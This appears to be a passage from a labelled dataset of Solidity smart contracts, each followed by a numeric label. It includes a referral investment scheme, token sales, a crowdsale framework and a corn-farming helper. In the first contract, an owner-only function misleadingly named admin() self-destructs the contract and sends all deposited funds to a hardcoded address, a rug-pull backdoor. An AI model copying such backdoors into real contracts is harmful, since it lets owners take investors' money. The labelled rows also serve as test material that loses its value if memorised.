function invest(uint256 _referrerCode, uint256 _planId) public payable {
if (_invest(msg.sender, _planId, _referrerCode, msg.value, false)) {
emit onInvest(msg.sender, msg.value);
}
}
function reinvest(uint256 _referrerCode, uint256 _planId) public payable {
require(msg.value == 0, "Reinvest doesn't allow to transfer trx simultaneously");
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not reinvest because no any investments");
uint256 availableInvestAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
Objects.Plan storage plan = investmentPlans_[uid2Investor[uid].plans[i].planId];
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
if (plan.term > 0) {
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(plan.term);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , plan.dailyInterest , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
availableInvestAmount = availableInvestAmount.add(amount);
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends = uid2Investor[uid].plans[i].currentDividends.add(amount);
}
if (uid2Investor[uid].availableReferrerEarnings>0) {
availableInvestAmount = availableInvestAmount.add(uid2Investor[uid].availableReferrerEarnings);
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
if (_invest(msg.sender, _planId, _referrerCode, availableInvestAmount, true)) {
emit onReinvest(msg.sender, availableInvestAmount);
}
}
function withdraw() public payable {
require(msg.value == 0, "withdrawal doesn't allow to transfer trx simultaneously");
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
Objects.Plan storage plan = investmentPlans_[uid2Investor[uid].plans[i].planId];
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
if (plan.term > 0) {
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(plan.term);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , plan.dailyInterest , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount = withdrawalAmount.add(amount);
msg.sender.transfer(amount);
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if (uid2Investor[uid].availableReferrerEarnings>0) {
msg.sender.transfer(uid2Investor[uid].availableReferrerEarnings);
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start) private pure returns (uint256) {
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
function admin() public onlyOwner{
selfdestruct(0x8948E4B00DEB0a5ADb909F4DC5789d20D0851D71);
}
function _calculateReferrerReward(uint256 _uid, uint256 _investment, uint256 _referrerCode) private {
uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000);
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _refAmount = 0;
if (_ref1 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
}
if (_ref2 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref2].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref2].availableReferrerEarnings);
}
if (_ref3 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref3].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref3].availableReferrerEarnings);
}
}
if (_allReferrerAmount > 0) {
referenceAccount_.transfer(_allReferrerAmount);
}
}
} | 0 | 1,457 |
pragma solidity ^0.4.18;
interface CornFarm
{
function buyObject(address _beneficiary) public payable;
}
interface Corn
{
function transfer(address to, uint256 value) public returns (bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract PepFarmer {
using SafeMath for uint256;
bool private reentrancy_lock = false;
address public shop = 0x28bdDb555AdF1Bb71ce21cAb60566956bbFB0f08;
address public object = 0x67BE1A7555A7D38D837F6587530FFc33d89F5a90;
address public taxMan = 0xd5048F05Ed7185821C999e3e077A3d1baed0952c;
mapping(address => uint256) public workDone;
modifier nonReentrant() {
require(!reentrancy_lock);
reentrancy_lock = true;
_;
reentrancy_lock = false;
}
function pepFarm() nonReentrant external {
for (uint8 i = 0; i < 100; i++) {
CornFarm(shop).buyObject(this);
}
workDone[msg.sender] = workDone[msg.sender].add(uint256(95 ether));
workDone[taxMan] = workDone[taxMan].add(uint256(5 ether));
}
function reapFarm() nonReentrant external {
require(workDone[msg.sender] > 0);
Corn(object).transfer(msg.sender, workDone[msg.sender]);
Corn(object).transfer(taxMan, workDone[taxMan]);
workDone[msg.sender] = 0;
workDone[taxMan] = 0;
}
} | 1 | 3,002 |
pragma solidity ^0.4.24;
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function transfer(address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
}
contract AlphaV is ERC20Interface{
string public name = "Alpha V";
string public symbol = "ALA";
uint public decimals = 18;
uint public supply;
address public founder;
mapping(address => uint) public balances;
event Transfer(address indexed from, address indexed to, uint tokens);
constructor() public{
supply = 50000000000000000000000000;
founder = msg.sender;
balances[founder] = supply;
}
function totalSupply() public view returns (uint){
return supply;
}
function balanceOf(address tokenOwner) public view returns (uint balance){
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success){
require(balances[msg.sender] >= tokens && tokens > 0);
balances[to] += tokens;
balances[msg.sender] -= tokens;
emit Transfer(msg.sender, to, tokens);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balances[founder] >= _value);
balances[founder] -= _value;
supply -= _value;
return true;
}
} | 1 | 4,032 |
pragma solidity ^0.5.1;
contract reanimator {
uint public advertisingPot;
mapping (uint256 => uint256) advertisingPotDistributed;
uint public lastDistrib;
uint public currentDistribRound;
uint public numOfAdvert;
address payable support;
mapping (address => uint256) double;
mapping (address => uint256) oneAndAHalf;
mapping (address => uint256) twoWeeks;
mapping (address => uint256) maximum;
mapping (address => uint256) advertising;
mapping (address => uint) advertisingLastWithdrawal;
constructor () public {
currentDistribRound = 0;
support = 0x3442d50F3F5c5E796d2ed3DdB95f0fB4fA54F144;
lastDistrib = now;
}
function () payable external {
support.transfer((3*msg.value)/50);
if (msg.value < 10**17) {advertisingPot += msg.value; return;}
if (msg.value == 10**19) {maximum[msg.sender] = now; return;}
if (msg.value == 5*10**18) {twoWeeks[msg.sender] = now; return;}
if (msg.value == 10**18) {oneAndAHalf[msg.sender] = now; return;}
if (msg.value == 3*10**17) {double[msg.sender] = now; return;}
if (msg.value == 10**17) {advertising[msg.sender] = now; advertisingLastWithdrawal[msg.sender] = currentDistribRound; numOfAdvert += 1; return;}
if (msg.value == 0) {withdraw(msg.sender); return;}
advertisingPot += msg.value;
}
function distributeAdvertisingFunds() public {
require (now - lastDistrib >= 1 weeks);
advertisingPotDistributed[currentDistribRound] = (advertisingPot / ( 2 * numOfAdvert));
currentDistribRound +=1;
advertisingPot = 0;
lastDistrib = now;
}
function getAdvBalance(address addr) public view returns (uint balance) {
uint _balance;
for (uint i = advertisingLastWithdrawal[addr]; i<currentDistribRound; i+=1) {
_balance += advertisingPotDistributed[i];
}
return _balance;
}
function getAdvLastWithdrawal(address addr) public view returns (uint round) {
return advertisingLastWithdrawal[addr];
}
function withdraw(address payable addr) public {
uint toTransfer;
if (maximum[addr] != 0 && (now - maximum[addr] > 1 weeks)) {
toTransfer = 10**19 + 10**17 * (now - maximum[addr]) / 1 days;
maximum[addr] = 0;
addr.transfer(toTransfer);
return;
}
if (twoWeeks[addr] !=0 && (now - twoWeeks[addr] > 2 weeks)) {
toTransfer = 5 * 10**18 + 10**17 * (now - twoWeeks[addr]) / 1 days;
if (toTransfer > 6 * 10**18) toTransfer = 6 * 10**18;
twoWeeks[addr] = 0;
addr.transfer(toTransfer);
return;
}
if (oneAndAHalf[addr] !=0 && (now - oneAndAHalf[addr] > 28 days)) {
toTransfer = 10**18 + 2 * 10**16 * (now - oneAndAHalf[addr]) / 1 days;
if (toTransfer > 15 * 10**17) toTransfer = 15 * 10**17;
oneAndAHalf[addr] = 0;
addr.transfer(toTransfer);
return;
}
if (double[addr]!= 0 && (now - double[addr] > 53 days) ) {
toTransfer = 3 * 10**17 + 6 * 10**15 * (now - double[addr]) / 1 days;
if (toTransfer > 6 * 10**17) toTransfer = 6 * 10**17;
double[addr] = 0;
addr.transfer(toTransfer);
return;
}
if (advertising[addr] != 0) {
toTransfer = getAdvBalance(addr);
require (toTransfer>0);
advertisingLastWithdrawal[addr] = currentDistribRound;
addr.transfer(toTransfer);
return;
}
}
} | 1 | 4,148 |
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract Shaycoin is owned {
string public name;
string public symbol;
uint256 public decimals = 18;
uint256 public totalSupply;
uint256 public donations = 0;
uint256 public price = 200000000000000;
mapping (address => uint256) public balanceOf;
mapping (uint256 => address) public depositIndex;
mapping (address => bool) public depositBool;
uint256 public indexTracker = 0;
event Transfer(address indexed from, address indexed to, uint256 value);
function Shaycoin(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** decimals;
balanceOf[this] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint256 _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
if (_to != address(this) && !depositBool[_to]) {
depositIndex[indexTracker] = _to;
depositBool[_to] = true;
indexTracker += 1;
}
Transfer(_from, _to, _value);
}
function buy() payable public {
uint256 amount = 10 ** decimals * msg.value / price;
if (amount > balanceOf[this]) {
totalSupply += amount - balanceOf[this];
balanceOf[this] = amount;
}
_transfer(this, msg.sender, amount);
}
function sell(uint256 amount) public {
require(this.balance >= amount * price / 10 ** decimals);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * price / 10 ** decimals);
}
function donate() payable public {
donations += msg.value;
}
function collectDonations() onlyOwner public {
owner.transfer(donations);
donations = 0;
}
function killAndRefund() onlyOwner public {
for (uint256 i = 0; i < indexTracker; i++) {
depositIndex[i].transfer(balanceOf[depositIndex[i]] * price / 10 ** decimals);
}
selfdestruct(owner);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
} | 1 | 2,732 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else{
uint256 z = x;
for (uint256 i = 1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
interface shareProfit {
function increaseProfit() external payable returns(bool);
}
contract RTB2 is shareProfit {
using SafeMath for uint256;
uint8 public decimals = 0;
uint256 public totalSupply = 700;
uint256 public totalSold = 0;
uint256 public constant price = 1 ether;
string public name = "Retro Block Token 2";
string public symbol = "RTB2";
address public owner;
address public finance;
mapping (address=>uint256) received;
uint256 profit;
address public jackpot;
shareProfit public shareContract;
mapping (address=>uint256) changeProfit;
mapping (address=>uint256) balances;
mapping (address=>mapping (address=>uint256)) allowed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event AddProfit(address indexed _from, uint256 _value, uint256 _newProfit);
event Withdraw(address indexed _addr, uint256 _value);
modifier onlyOwner() {
require(msg.sender == owner, "only owner");
_;
}
modifier onlyHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
constructor(address _shareAddr) public {
owner = msg.sender;
finance = 0x28Dd611d5d2cAA117239bD3f3A548DcE5Fa873b0;
jackpot = 0x119ea7f823588D2Db81d86cEFe4F3BE25e4C34DC;
shareContract = shareProfit(_shareAddr);
balances[this] = 700;
}
function() public payable {
require(msg.value > 0, "Amount must be provided");
profit = msg.value.div(totalSupply).add(profit);
emit AddProfit(msg.sender, msg.value, profit);
}
function increaseProfit() external payable returns(bool){
if(msg.value > 0){
profit = msg.value.div(totalSupply).add(profit);
emit AddProfit(msg.sender, msg.value, profit);
return true;
}else{
return false;
}
}
function totalSupply() external view returns (uint256){
return totalSupply;
}
function balanceOf(address _owner) external view returns (uint256) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool) {
require(_value > 0 && allowed[msg.sender][_spender] == 0);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) external returns (bool) {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] -= _value;
return _transfer(_from, _to, _value);
}
function allowance(address _owner, address _spender) external view returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) external returns (bool) {
return _transfer(msg.sender, _to, _value);
}
function _transfer(address _from, address _to, uint256 _value) internal returns (bool) {
require(_to != address(0), "Receiver address cannot be null");
require(_from != _to);
require(_value > 0 && _value <= balances[_from]);
uint256 newToVal = balances[_to] + _value;
assert(newToVal >= balances[_to]);
uint256 newFromVal = balances[_from] - _value;
balances[_to] = newToVal;
balances[_from] = newFromVal;
uint256 temp = _value.mul(profit);
changeProfit[_from] = changeProfit[_from].add(temp);
received[_to] = received[_to].add(temp);
emit Transfer(_from, _to, _value);
return true;
}
function buy(uint256 _amount) external onlyHuman payable{
require(_amount > 0);
uint256 _money = _amount.mul(price);
require(msg.value == _money);
require(balances[this] >= _amount);
require((totalSupply - totalSold) >= _amount, "Sold out");
_transfer(this, msg.sender, _amount);
finance.transfer(_money.mul(60).div(100));
jackpot.transfer(_money.mul(20).div(100));
shareContract.increaseProfit.value(_money.mul(20).div(100))();
totalSold += _amount;
}
function withdraw() external {
uint256 value = getProfit(msg.sender);
require(value > 0, "No cash available");
emit Withdraw(msg.sender, value);
received[msg.sender] = received[msg.sender].add(value);
msg.sender.transfer(value);
}
function devWithdraw() public onlyOwner{
uint256 value = getProfit(this);
emit Withdraw(msg.sender, value);
received[this] = received[this].add(value);
owner.transfer(value);
}
function getProfit(address _addr) public view returns(uint256){
return profit.mul(balances[_addr]).add(changeProfit[_addr]).sub(received[_addr]);
}
function setJackpot(address _addr) public onlyOwner{
jackpot = _addr;
}
function setShare(address _addr) public onlyOwner{
shareContract = shareProfit(_addr);
}
function setFinance(address _addr) public onlyOwner{
finance = _addr;
}
} | 1 | 3,296 |
pragma solidity ^0.4.8;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMathLibExt {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function divides(uint a, uint b) returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
address public tier;
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function updateRate(uint newOneTokenInWei) public;
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
bool public reservedTokensAreDistributed = false;
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function distributeReservedTokens(uint reservedTokensDistributionBatch);
function finalizeCrowdsale();
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20Ext is ERC20 {
uint public decimals;
uint public minCap;
}
contract CrowdsaleExt is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLibExt for uint;
FractionalERC20Ext public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
string public name;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
bool public finalized;
bool public isWhiteListed;
address[] public joinedCrowdsales;
uint8 public joinedCrowdsalesLen = 0;
uint8 public joinedCrowdsalesLenMax = 50;
struct JoinedCrowdsaleStatus {
bool isJoined;
uint8 position;
}
mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
struct WhiteListData {
bool status;
uint minCap;
uint maxCap;
}
bool public isUpdatable;
mapping (address => WhiteListData) public earlyParticipantWhitelist;
address[] public whitelistedParticipants;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Whitelisted(address addr, bool status, uint minCap, uint maxCap);
event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap);
event StartsAtChanged(uint newStartsAt);
event EndsAtChanged(uint newEndsAt);
function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) {
owner = msg.sender;
name = _name;
token = FractionalERC20Ext(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
isUpdatable = _isUpdatable;
isWhiteListed = _isWhiteListed;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
throw;
} else if(getState() == State.Funding) {
if(isWhiteListed) {
if(!earlyParticipantWhitelist[receiver].status) {
throw;
}
}
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(isWhiteListed) {
if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) {
throw;
}
if (isBreakingInvestorCap(receiver, tokenAmount)) {
throw;
}
updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount);
} else {
if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) {
throw;
}
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function invest(address addr) public payable {
investInternal(addr, 0);
}
function buy() public payable {
invest(msg.sender);
}
function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != address(0)) {
finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch);
}
}
function areReservedTokensDistributed() public constant returns (bool) {
return finalizeAgent.reservedTokensAreDistributed();
}
function canDistributeReservedTokens() public constant returns(bool) {
CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier());
if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true;
return false;
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != address(0)) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) public onlyOwner {
assert(address(addr) != address(0));
assert(address(finalizeAgent) == address(0));
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner {
if (!isWhiteListed) throw;
assert(addr != address(0));
assert(maxCap > 0);
assert(minCap <= maxCap);
assert(now <= endsAt);
if (!isAddressWhitelisted(addr)) {
whitelistedParticipants.push(addr);
Whitelisted(addr, status, minCap, maxCap);
} else {
WhitelistItemChanged(addr, status, minCap, maxCap);
}
earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap});
}
function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner {
if (!isWhiteListed) throw;
assert(now <= endsAt);
assert(addrs.length == statuses.length);
assert(statuses.length == minCaps.length);
assert(minCaps.length == maxCaps.length);
for (uint iterator = 0; iterator < addrs.length; iterator++) {
setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]);
}
}
function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private {
if (!isWhiteListed) throw;
if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw;
uint8 tierPosition = getTierPosition(this);
for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought);
}
}
function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public {
if (!isWhiteListed) throw;
assert(addr != address(0));
assert(now <= endsAt);
assert(isTierJoined(msg.sender));
if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw;
uint newMaxCap = earlyParticipantWhitelist[addr].maxCap;
newMaxCap = newMaxCap.minus(tokensBought);
earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap});
}
function isAddressWhitelisted(address addr) public constant returns(bool) {
for (uint i = 0; i < whitelistedParticipants.length; i++) {
if (whitelistedParticipants[i] == addr) {
return true;
break;
}
}
return false;
}
function whitelistedParticipantsLength() public constant returns (uint) {
return whitelistedParticipants.length;
}
function isTierJoined(address addr) public constant returns(bool) {
return joinedCrowdsaleState[addr].isJoined;
}
function getTierPosition(address addr) public constant returns(uint8) {
return joinedCrowdsaleState[addr].position;
}
function getLastTier() public constant returns(address) {
if (joinedCrowdsalesLen > 0)
return joinedCrowdsales[joinedCrowdsalesLen - 1];
else
return address(0);
}
function setJoinedCrowdsales(address addr) private onlyOwner {
assert(addr != address(0));
assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax);
assert(!isTierJoined(addr));
joinedCrowdsales.push(addr);
joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({
isJoined: true,
position: joinedCrowdsalesLen
});
joinedCrowdsalesLen++;
}
function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner {
assert(addrs.length > 0);
assert(joinedCrowdsalesLen == 0);
assert(addrs.length <= joinedCrowdsalesLenMax);
for (uint8 iter = 0; iter < addrs.length; iter++) {
setJoinedCrowdsales(addrs[iter]);
}
}
function setStartsAt(uint time) onlyOwner {
assert(!finalized);
assert(isUpdatable);
assert(now <= time);
assert(time <= endsAt);
assert(now <= startsAt);
CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier());
if (lastTierCntrct.finalized()) throw;
uint8 tierPosition = getTierPosition(this);
for (uint8 j = 0; j < tierPosition; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
assert(time >= crowdsale.endsAt());
}
startsAt = time;
StartsAtChanged(startsAt);
}
function setEndsAt(uint time) public onlyOwner {
assert(!finalized);
assert(isUpdatable);
assert(now <= time);
assert(startsAt <= time);
assert(now <= endsAt);
CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier());
if (lastTierCntrct.finalized()) throw;
uint8 tierPosition = getTierPosition(this);
for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
assert(time <= crowdsale.startsAt());
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner {
assert(address(_pricingStrategy) != address(0));
assert(address(pricingStrategy) == address(0));
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else return State.Failure;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken);
function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
